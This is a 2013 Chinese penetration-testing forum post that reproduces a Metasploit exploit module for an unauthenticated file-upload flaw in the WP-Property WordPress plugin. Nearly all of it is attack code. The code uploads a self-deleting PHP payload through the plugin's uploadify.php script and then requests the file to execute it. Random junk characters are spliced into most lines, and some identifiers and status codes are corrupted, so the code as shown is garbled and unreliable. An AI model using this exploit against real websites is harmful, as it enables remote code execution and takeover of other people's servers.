中国网络渗透测试联盟

标题: WordPress WP-Property PHP 文件上传漏洞 [打印本页]

作者: admin    时间: 2013-1-4 19:51
标题: WordPress WP-Property PHP 文件上传漏洞
WordPress WP-Property PHP 文件上传漏洞
" o5 p& \% ~4 O* f/ p1 a  I3 d7 H1 s' c
## # This file is part of the Metasploit Framework and may be subject to
0 q* z0 }- \5 I% R: Y( F( `! i5 H/ A  f& g9 V
# redistribution and commercial restrictions. Please see the Metasploit7 R" E) K& n! v9 z6 a, t$ ^
* _4 k! P* _: Q; v& w6 c! i! e
# Framework web site for more information on licensing and terms of use.
1 q7 k/ _0 t2 M: f; T1 f% T+ p
2 |* B' B$ X( k#   http://metasploit.com/framework/ ##1 l+ {* w( K7 u% N5 `( y
  q/ R6 T% R( q: |6 f: P) f

$ k( T$ o& k! o  ]$ j: D# I0 j* H: ?) m  J& R: f
. U, |# u( d; Y9 s2 N, v4 b9 l; h

' M8 G1 G4 s$ @require 'msf/core') `6 g/ ~" o4 u
require 'msf/core/exploit/php_exe'
" `1 c4 r2 t. \* M% I: A; L4 }! ?" U$ x/ w! ~/ D) d& d1 `3 R2 e/ u
class Metasploit3 < Msf::Exploit::Remote     Rank = ExcellentRanking       include Msf::Exploit::Remote::HttpClient     include Msf::Exploit:hpEXE       def initialize(info = {})         super(update_info(info,             'Name'           => 'WordPress WP-Property PHP File Upload Vulnerability',
$ N6 U" b7 {! \8 z' h7 V4 i2 t'Description'    => %q{
0 Y% ^5 C+ d/ s) _. z8 j: _This module exploits a vulnerability found in WP-Property <= 1.35.0 WordPress                 plugin. By abusing the uploadify.php file, a malicious user can upload a file to a                 temp directory without authentication, which results in arbitrary code execution.             },             'Author'         =>
+ v; g9 v* A8 k5 s& x7 W[
  f0 t: E3 b0 Q1 w0 o1 J9 p'Sammy FORGIT', # initial discovery& D+ A% ^. I7 \1 t* Z* I7 L
'James Fitts <fitts.james[at]gmail.com>' # metasploit module: m* F# `8 x. U. @) g& A4 d) Y
],' h+ j8 e6 f2 w% h: D
'License'        => MSF_LICENSE,# h: t% T# D% Y6 ]/ n
'References'     =>
9 T) p, b" }, c8 X+ Z+ t, V[
, @! {7 ]0 a6 m, o9 N+ s+ Y" h+ T[ 'OSVDB', '82656' ]," i/ r2 s; [- f' N& h, h
[ 'BID', '53787' ],7 T' V- _- V" Z' Z/ r4 D
[ 'EDB', '18987'],
% N9 U" i6 E, F) e+ o8 d9 t[ 'URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-wp-property-shell-upload-vulnerability.html' ]
5 {. w8 _1 K' S3 k],
8 }8 L3 S! v( D1 L7 a! e& g/ y'Payload'        =>. p( H- M/ y- t( i8 [3 E# Q
{) F, b1 B5 ^# O0 @) v6 n: z! c+ L$ i
'BadChars' => "\x00",
+ a3 t0 A4 S3 ]: v8 y; Q},
% E( ?9 G" x3 a2 k4 E; J'Platform'       => 'php'," }' }) k8 {, ^
'Arch'           => ARCH_PHP,% a3 K; v% r2 I0 _; f, e
'Targets'        =>( }' K  J; t7 Q2 Z, V  i
[
5 M# V6 J+ p" Z4 t+ z[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],! k0 m' ?, v5 p. \& c- f6 G
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]2 w- G! x6 B4 G; V3 q- l
],
: P: P- s' C& C3 c'DefaultTarget'  => 0,
( f; Y4 K, [0 {: i'DisclosureDate' => 'Mar 26 2012'))
& }8 |: ?8 l7 U+ I  L& p: [9 K$ o
register_options(* t- ~( \7 u8 o) J6 I1 k
[  T9 u1 H# [2 h" ~
OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])
' j& i( h& k* ]# z+ F! J], self.class)
1 ^) E0 m4 i0 q: K* x& oend$ S0 g! U1 m3 ~5 v9 U; T
  r" Q0 k/ h9 v6 G' o8 H
def check
% a/ S( B: s( F5 I- G; b* ]uri =  target_uri.path$ e1 L1 u  K4 h, A* i
uri << '/' if uri[-1,1] != '/'           res = send_request_cgi({             'method' => 'GET',
& ~4 C8 s! `/ G3 y5 g'uri'    => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php"5 B# |& y% m2 D- K3 ^: `4 c2 K
})
3 T7 l2 {  F. j3 |- _( f7 v) L5 _! U8 b: z, A
if not res or res.code != 2007 N  J  o/ |8 B+ T9 l0 M
return Exploit::CheckCode::Unknown
* K% J* u' \6 n/ z% c; Mend6 b: Q- A6 K4 [( Q5 a
' h$ Y0 S  z% O2 Y9 B; F
return Exploit::CheckCode::Appears! B( t6 P( V$ [  \3 ?0 h: l. ~% a- a
end" o0 |. z. S6 N

! B3 ~0 W1 t1 \: S# @& w, Vdef exploit" M. n* l) {, N0 ?. P* r7 N
uri =  target_uri.path1 U: h( ]( j  T1 r
uri << '/' if uri[-1,1] != '/'           peer = "#{rhost}:#{rport}"           @payload_name = "#{rand_text_alpha(5)}.php"         php_payload = get_write_exec_payload(:unlink_self=>true)
3 E' Q/ X7 P7 ~/ g" l% S+ `3 C$ }
5 o. D3 r: }3 @% o; |data = Rex::MIME::Message.new
  {0 a+ d# v! Z5 C2 x/ W  Rdata.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"")- N' u6 Z5 R8 \: ~8 U
data.add_part("#{uri}wp-content/plugins/wp-property/third-party/uploadify/", nil, nil, "form-data; name=\"folder\"")
7 R/ g  K3 s0 N8 Y. ~, I& Apost_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_'), z) \; @7 ^2 I; G1 @

7 N2 T+ o- Z4 P9 ?$ Nprint_status("#{peer} - Uploading payload #{@payload_name}")& `; V+ z. _/ s/ [
res = send_request_cgi({
" y/ ?, }3 @1 T+ p( m* w. I/ q" p# L'method' => 'POST',8 X6 I2 Y* P! @
'uri'    => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php",
3 Q0 R" ]! G. M& u0 k6 ?1 b'ctype'  => "multipart/form-data; boundary=#{data.bound}",% g8 g" j7 m- i# B8 a
'data'   => post_data
( h/ _$ {" `8 x6 ~4 Z7 @5 d" O})+ ~$ [+ Z. i" N+ ^# t

( D- m' Z7 l2 a  E/ nif not res or res.code != 200 or res.body !~ /#{@payload_name}/
3 Q  L" X! i/ b( N( o* A9 f: Tfail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
3 ^: n; K  |6 R* l/ ]& P9 y% W9 Eend+ j4 S6 ]4 j' O  z( ]3 ]  a
: p: c3 T7 J$ q# d7 R1 F6 b
upload_uri = res.body
7 X, Z+ M9 x( @* X7 ~1 b9 i$ @) v
print_status("#{peer} - Executing payload #{@payload_name}")
  [4 A) k/ |2 I) c/ ~: r5 @res = send_request_raw({
1 g3 m4 I% k& F; n% m7 ~3 P'uri'    => upload_uri,
* @, q; e8 |$ p. {( R: F' Z! _'method' => 'GET'
" H& y: ^$ _* s" A9 _})+ h3 Q4 [4 W8 P( b0 |
end, h- p* }5 u; l/ ^3 e5 R
end
) E/ M0 ~0 v3 M9 e" s1 i: G: {6 B( E
不要问我这写的是什么 怎么利用 我是说msf.
. e5 O3 A8 {, ^9 K, L5 [; d+ l
  l6 B" d" }7 X' |4 _




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2